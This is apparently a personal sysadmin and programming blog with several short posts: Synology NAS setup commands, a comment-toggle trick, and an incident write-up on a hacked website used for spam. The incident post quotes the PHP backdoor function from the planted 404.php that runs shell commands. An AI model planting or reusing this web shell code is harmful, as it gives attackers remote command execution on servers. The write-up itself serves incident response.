Categories
programming

All software have bugs. Period.

I’m recently reminded of this old article by Josh Bloch when dealing with some of our clients. Some people can’t seem to accept that software can have bugs and software can crash (note: in this case it’s not our software). For those of them, I leave them with the following quote from the article I mention:

We programmers need all the help we can get, and we should never assume otherwise. Careful design is great. Testing is great. Formal methods are great. Code reviews are great. Static analysis is great. But none of these things alone are sufficient to eliminate bugs: They will always be with us. A bug can exist for half a century despite our best efforts to exterminate it. We must program carefully, defensively, and remain ever vigilant.

via Extra, Extra – Read All About It: Nearly All Binary Searches and Mergesorts are Broken.

If we can’t even get a “simple” binary search working bug-free – by someone with such distinguished credentials – what hope is there for the rest of us for getting complex software to work correctly 100% of the time?

Categories
sysadmin

MikeBeach.org

While searching for a solution to stop @eaDir from being generated on the Synology NAS, I came across this blog, which has quite a number of good articles that sysadmins will find useful.

Will certainly be keeping this in my bookmarks for reference.

Categories
sysadmin

Summary of Amazon cloud services

This post is more as a note for myself, as a quick reference for the expanding list of Amazon AWS services. Not too long ago it was just EC3 and S3, and now you have stuff like Route 53, Glacier, Redshift and a whole bunch of others.

Good that someone compiled a nice summary here:

https://hackpad.com/Amazon-Services-xwW1WtHf5y5

Categories
programming

Alexander Brevig : The //* /*/ //*/ comment toggle trick

Just saw this on HN. Alexander Brevig : The //* /*/ //*/ comment toggle trick.

I’ve been using something very similar – the only difference between the last comment //*/ vs /**/

//*
someFunction();
/*/
someOtherFunction();
/**/

This technique is surprisingly “portable” – works in C++, Javascript, PHP, amongst others. And it works better than if (0) { someFunction(); } else { someOtherFunction(); } ‘cos syntax-highlighting works.

Another trick that I’ve used by abusing comments is to produce output that are both valid Javascript as well as HTML – at least to most browsers:

//<!--
alert("hello");
//-->
//<html><body>some text</body></html>

In Javascript context it’ll show a “hello” prompt, whereas in HTML context it’ll show “// //some text”. This can be used when say you’re returning a Javascript API and someone is misinterpreting it as HTML. You can of course be creative about the “some text” part. 🙂

Categories
sysadmin

Setting up a proper Linux environment on Synology DS412+

We recently got a Synology DS412+ as an office NAS. First thing to do is to set up a proper Linux environment on the device.

Gaining root on Synology NAS is easy – just log in as root with the same password as admin. However, most (all?) commands are mapped to BusyBox, which provides watered-down version of many *nix commands. Good thing is there’s an active modding community and it’s also sanctioned by Synology. A good place to start is here.

First install the bootstrap

cd /tmp
wget http://ipkg.nslu2-linux.org/feeds/optware/syno-i686/cross/unstable/syno-i686-bootstrap_1.2-7_i686.xsh
chmod u+x syno-i686-bootstrap_1.2-7_i686.xsh
./syno-i686-bootstrap_1.2-7_i686.xsh

Then install optware-devel, which installs many of the common *nix tools and binaries for building programs from tar source.

/opt/bin/ipkg install optware-devel

Unfortunately, installation fails halfway ‘cos wget-ssl which is included in optware-devel conflicts with the wget installed.

# ipkg install -verbose_wget wget-ssl
Installing wget-ssl (1.12-2) to root...
Nothing to be done
An error ocurred, return value: 1.
Collected errors:
ERROR: The following packages conflict with wget-ssl:
         wget

Someone posted a solution here and here, but both are for arm-based devices. Digging further, I found the source of the i686 packages here and with that the problem is resolved.

cd /tmp
wget 'http://ipkg.nslu2-linux.org/feeds/optware/syno-i686/cross/unstable/libidn_1.25-1_i686.ipk'
wget 'http://ipkg.nslu2-linux.org/feeds/optware/syno-i686/cross/unstable/wget-ssl_1.12-2_i686.ipk'
ipkg remove wget
ipkg install libidn_1.25-1_i686.ipk
ipkg install wget-ssl_1.12-2_i686.ipk

export PATH=/opt/bin:$PATH
ipkg update
ipkg install optware-devel

The export step is important, ‘cos it will make ipkg use the new wget.

A few other things to finish up,

  • ipkg install util-linux
  • install bash, vim, screen
  • change default root shell to /opt/bin/bash,
  • add /opt/bin to PATH in .profile,
  • set PS1=’\h:\w\$ ‘
Categories
sysadmin

Anatomy of a hack – Part 1

It was the first working day after Chinese New Year. I arrived in office and did the usual morning routine. What I didn’t anticipate was the 10000 emails waiting for me in my INBOX. And the number kept rising.

Not exactly the most auspicious start to the new year. Most of them had the subject “Undelivered Mail Returned to Sender”. I thought it was just the usual case of someone faking the sender email using our domain but upon closer inspection, it turns out to be much worse than expected.

A lot of the email headers had the following line:
X-PHP-Originating-Script: 1028:404.php(173) : eval()'d code(1) : eval()'d code

After some digging, I found the offending 404.php, which contains code like this:

function execute($c){
if(function_exists('exec')){
@exec($c, $out);
return @implode("\n", $out);
}elseif(function_exists('shell_exec')){
$out = @shell_exec($c);
return $out;
}elseif(function_exists('system')){
@ob_start();
@system($c, $ret);
$out = @ob_get_contents();
@ob_end_clean();
return $out;
}elseif(function_exists('passthru')){
@ob_start();
@passthru($c, $ret);
$out = @ob_get_contents();
@ob_end_clean();
return $out;
}else{
return FALSE;
}
}

It’s clearly a backdoor. One of our website had been compromised. And it was being used to send out large amount of spam.
spam

The reason for those 10000 bounced emails is due to the fact that many of the emails used by spammers are simply invalid or not in use anymore. The recipient’s email server is usually kind enough to notify the sender – in this case us – of this. This also means that the actual number of spam emails sent out is much higher than 10000.

I wasted no time to hunt down the offending 404.php and remove it. Subsequent actions were more tricky. In any site compromise, determining the cause of compromise is imperative to prevent future attempts. The initial suspicion was WordPress theme vulnerability, but Googling didn’t turn up anything unusual. Maybe a 0-day? After eliminating a few possible causes and not finding any, I went on to the more urgent task of purging the email queue and checking if we were blacklisted by any spam database. You see, the cat-and-mouse game of spam detection has evolved to a point where a sysadmin must decide what mix bag of spam prevention techniques to use. One of them includes using a spam database lookup service. Being in one is no good, ‘cos it means legitimate emails originating from your server will have a higher chance of being marked as spam. True enough, we were blacklisted by one service provider. Fotunately a review request quickly allowed us to be removed from being blacklisted.

After hitting a few real 404s, the attacker gave up and the spam stopped, thereby drawing a close to the episode. Or so I thought.

Categories
Uncategorized

First Post

As a technology enthusiast and IT professional, I feel that we have a duty to share our experience and write about things that other like-minded visitors will find interesting or useful, as we have often benefitted from others who have done the same. Blogs like The Old New Thing provides the motivation for this humble blog.